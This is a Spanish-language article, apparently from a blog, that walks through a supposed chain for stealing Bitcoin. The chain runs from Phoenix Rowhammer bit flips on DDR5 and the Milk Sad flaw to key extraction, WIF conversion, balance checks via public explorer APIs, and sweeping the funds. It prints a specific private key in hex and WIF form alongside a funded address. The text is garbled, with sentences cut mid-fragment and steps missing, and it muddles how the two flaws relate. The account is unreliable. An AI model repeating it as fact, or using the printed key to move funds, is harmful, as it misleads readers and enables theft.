La base de un ataque Rowhammer es la estructura de la memoria DRAM en sí, donde cada celda es un capacitor que almacena una carga correspondiente al valor lógico de un bit. El acceso repetido y de alta frecuencia (lectura o escritura) a dos (o más) filas intermediarias (“agresoras”) adyacentes a una fila objetivo (“víctima”) causa una fuga de carga parásita de las celdas víctimas. Si este ataque continúa el tiempo suficiente para que la regeneración de carga a través de ciclos de refresco normales no pueda prevenir la degradación, se producirá un cambio en el estado del bit—el llamado bit flip —. opennet
En el contexto de Phoenix Rowhammer (CVE-2025-6202) en DDR5 SK Hynix:
La investigación en ETH Zúrich ha demostrado que un patrón de acceso corto con un período de 128 intervalos tREFI genera estadísticamente más fallos de bits que los patrones más largos. Sin embargo, elegir una ventana adecuada y mantener la sincronización son críticos para el éxito: un fallo de 1–2 accesos resulta en ningún fallo o en una corrupción aleatoria de datos y un fallo del sistema. kaspersky+1
Esta etapa completa el proceso de ataque de bajo nivel, tras el cual el atacante puede explotar los errores de bits resultantes para extraer la clave privada o escalar aún más su nivel de acceso. Es la capacidad de inducir errores de bits en áreas de memoria estrictamente definidas y protegidas por software y hardware lo que hace de Phoenix Rowhammer una técnica única y peligrosamente práctica. cybersecurefox+1
La quinta etapa de la cadena maliciosa del ataque Phoenix Rowhammer implica extraer la clave privada de la billetera Bitcoin de la memoria comprometida por fallos de bits inducidos.

La vulnerabilidad clave aquí es CVE-2023-39910 (Milk Sad) , que afecta a las implementaciones de software de Libbitcoin Explorer 3.x y a las bibliotecas criptográficas relacionadas.
CVE-2023-39910 se caracteriza por un mecanismo débil de generación de entropía al generar claves privadas, lo que permite a un atacante—con acceso a áreas de memoria residuales (“sucias”) después de que se completen las operaciones criptográficas—recuperar las claves originales y las frases semilla. Después de un ataque Rowhammer, los buffers de RAM corruptos (o no limpiados) donde se almacenó la clave privada (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) se vuelven directamente buscables.
gcore, volatility, lecturas directas /proc/<PID>/mem, o bibliotecas especializadas de análisis de volcados de memoria) buscando patrones característicos: secuencias de bits y firmas que coincidan con la clave privada o la entropía de la semilla .15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), la clave se considera extraída con éxito.Tal ataque sería imposible sin la combinación de dos factores: (1) compromiso de hardware de la memoria DDR5 mediante Rowhammer, y (2) una falla de software que permite almacenar información crítica en buffers no censurados. El uso de algoritmos de entropía débil en Libbitcoin Explorer facilita aún más la tarea del atacante de recuperar una clave privada, incluso si parte de la información se ha perdido o corrompido por una corrupción de memoria.
Esta etapa demuestra un problema sistémico fundamental: la capacidad de recuperar claves privadas de bloques de RAM residuales en presencia de vulnerabilidades de hardware y software, lo que socava críticamente la confianza en los ecosistemas de criptomonedas y requiere una revisión de los principios de gestión segura de la memoria al almacenar y procesar datos criptográficos.
La sexta etapa de la cadena maliciosa implica convertir la clave privada Bitcoin comprometida de su representación hexadecimal (HEX) al formato Wallet Import Format Comprimido (WIF Comprimido), un formato típicamente usado para importar claves en billeteras y servicios modernos.

El procedimiento científico de conversión se basa en los estándares de codificación Base58Check y se realiza a través de varios pasos importantes:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) se interpreta como una matriz de 32 bytes que cumple con el estándar de clave privada ECDSA secp256k1.0x80al inicio de la matriz para distinguir el protocolo de red subyacente.0x01, que señala que la clave pública debe comprimirse (clave pública comprimida), lo que resulta en direcciones que comienzan con los caracteres ‘K’ o ‘L’.Como resultado, la clave WIF Comprimida construida—por ejemplo L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP—es una cadena de 52 caracteres que comienza con ‘K’ o ‘L’.
Este proceso se describe en detalle en servicios y herramientas especializados para criptoanálisis, y también está respaldado por numerosas bibliotecas de software para trabajar con claves Bitcoin. btcpuzzle
Así, este paso demuestra cómo un atacante, usando procedimientos operativos estandarizados, convierte la clave HEX obtenida en el formato WIF Comprimido ampliamente utilizado para el acceso ilegal posterior a los activos digitales en una dirección Bitcoin comprometida.
El proceso científico de generar una dirección Bitcoin (por ejemplo, 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) a partir de una clave privada implica varias transformaciones criptográficas fundamentales basadas en el algoritmo de curva elíptica secp256k1 y las funciones hash utilizadas en la arquitectura de Bitcoin.

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Si la coincidencia es exitosa, el ataque se considera completo, con control total sobre los activos en esa dirección.Este proceso está completamente automatizado en billeteras y bibliotecas modernas, pero el análisis científico demuestra que con una clave privada y una implementación correcta de la aritmética elíptica, recuperar una dirección Bitcoin toma una fracción de segundo, destacando la continuidad arquitectónica entre los datos privados y el identificador público en la red. generate.mitilena+1
Así, el paso de generación de dirección vincula la clave privada comprometida con su equivalente digital en el ecosistema Bitcoin y le da al atacante acceso a los activos de la billetera a través de operaciones criptográficas adicionales.
La octava etapa del procedimiento malicioso implica verificar los activos disponibles en la dirección Bitcoin comprometida ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Este paso es necesario para confirmar la viabilidad económica de operaciones posteriores y evaluar el daño potencial.

La arquitectura de la cadena de bloques de Bitcoin se basa en un libro mayor distribuido público que registra todas las transacciones asociadas con cada dirección. Verificar el saldo de cualquier billetera no requiere una clave privada ni acceso especial: simplemente acceder a endpoints de API públicos, servicios web o nodos autónomos—por ejemplo, la API REST de Insight, Blockchain.info, Blockstream, o un nodo local de Bitcoin Core con interfaz RPC.
https://blockchain.info/rawaddr/{address}o https://insight.bitpay.com/api/addr/{address}/balance.La naturaleza de código abierto de Bitcoin permite un monitoreo fácil de la billetera, lo que permite al atacante determinar el saldo exacto de una dirección no autorizada (en este ejemplo, 9.023322989 BTC , que a una tasa de $124,904 por BTC equivale a $1,127,026.44 ). Esta característica de la infraestructura de Bitcoin también crea riesgos adicionales: la pérdida de una clave privada no solo conduce a una pérdida de control sobre los fondos, sino que también se vuelve inmediatamente completamente transparente para terceros, incluido el atacante .

Así, la etapa de verificación del saldo destaca la apertura informativa del sistema de cadena de bloques y completa la cadena de ataque científica, conectando el compromiso exitoso de las claves criptográficas con el daño real al propietario de los activos digitales. Durante la etapa de verificación del saldo, el atacante usa APIs públicas de exploradores de cadena de bloques—por ejemplo, la API REST de Insight o blockchain.info—para obtener información sobre el estado actual de los fondos en una dirección Bitcoin comprometida. Simplemente envíe una solicitud GET a la API: por ejemplo, https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit , para obtener el saldo de la dirección en satoshi, y luego convierta el resultado a BTC. cryptodeep+2
Este proceso es completamente transparente y no requiere posesión de la clave privada: el conocimiento de la dirección pública es suficiente. Los datos resultantes ( 9.02332298 BTC ) se pueden comparar con la tasa de mercado actual de Bitcoin para convertir el monto equivalente a USD ( ≈$1,127,026.44 en el momento del ataque). Los métodos de software permiten automatizar estos pasos e incorporarlos al algoritmo de ataque, verificando instantáneamente la viabilidad económica del robo posterior. habr+1
Desde una perspectiva de análisis científico, la etapa de verificación del saldo demuestra la transparencia única del sistema blockchain, donde cualquier compromiso de las claves conduce automáticamente a la pérdida de control sobre los fondos, y los riesgos para el propietario se escalan hasta la pérdida total de los activos. habr+2
En la etapa final de la campaña maliciosa, después de extraer con éxito la clave privada de la billetera Bitcoin, el atacante inicia la formación y propagación de una transacción en la blockchain con el objetivo de transferir todos los fondos disponibles desde la dirección comprometida ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) a su dirección controlada.

Una transacción de Bitcoin es un mensaje digital que consta de entradas (fuentes de fondos asignadas a la dirección de la víctima), salidas (direcciones de destino del destinatario) y una firma digital que certifica la autoridad del remitente .
Esta secuencia ilustra una vulnerabilidad fundamental de los activos criptográficos: cualquiera que tenga una clave privada puede crear una transacción válida según el protocolo para retirar todos los fondos, independientemente del propietario original. El malware—ya sea el exploit Phoenix Rowhammer —automatiza estos pasos: determinar el saldo, suplantar la dirección del destinatario o crear su propia transacción firmada con una clave confiscada. securelist